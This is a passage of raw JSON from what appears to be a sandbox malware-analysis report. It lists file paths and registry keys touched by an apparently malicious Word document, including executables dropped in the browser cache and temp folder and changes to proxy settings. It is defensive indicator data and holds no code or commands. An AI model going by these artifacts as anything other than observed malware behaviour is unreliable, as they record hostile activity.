Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL\\3","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\E9S7QCHY\\87i4g3d2d2[1].exe","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\1031\\Bibliography\\BibForm.XML","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography\\Style\\","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"C:\\Program Files","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography\\Style","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\Bibliography\\Style\\APA.XSL","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\en-US\\msdrm.dll.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%APPDATA%\\Microsoft\\Office\\MSO1033.acl","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE12\\1031\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\p2pcollab.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\qagentrt.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\System32\\fveui.dll","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\en-US\\dnsapi.DLL.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\Cab4DE7.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\Tar4DE8.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\Cab4E57.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\Tar4E58.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%WINDIR%\\system32\\en-US\\WINHTTP.dll.mui","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\Cab6490.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%TEMP%\\Tar6491.tmp","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\D0YDZTO5\\89_32_145_12[1].txt","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{FFBA4A08-03DD-4A0B-BDE2-8C948132FC42}.tmp","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\~DFD9DD364DCD1AA727.TMP","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{EF3A55CF-25AE-4AC2-A3DA-213869A3C817}.tmp","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{60BAA2AD-692D-4CCA-BFD4-F15FA45CEA76}.tmp","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msado15.dll","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\Users\\5RPF0xs","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\SHELL32.DLL.mui","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\ntvdm.exe","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\_default.pif","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\MSDOS.SYS","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"C:\\IO.SYS","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\ntio.sys","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\system32\\ntdos.sys","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\CONFIG.NT","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\SCSEDB5.TMP","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\HIMEM.SYS","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\COUNTRY.SYS","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\COMMAND.COM","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\AUTOEXEC.NT","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\MSCDEXNT.EXE","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\REDIR.EXE","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM32\\DOSX.EXE","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%WINDIR%\\SYSTEM.INI","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\SCSEDD5.TMP","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"path":"%TEMP%\\TRUME1.EXE","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\%})\\%})","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\|S)\\|S)","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\#G)\\#G)","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 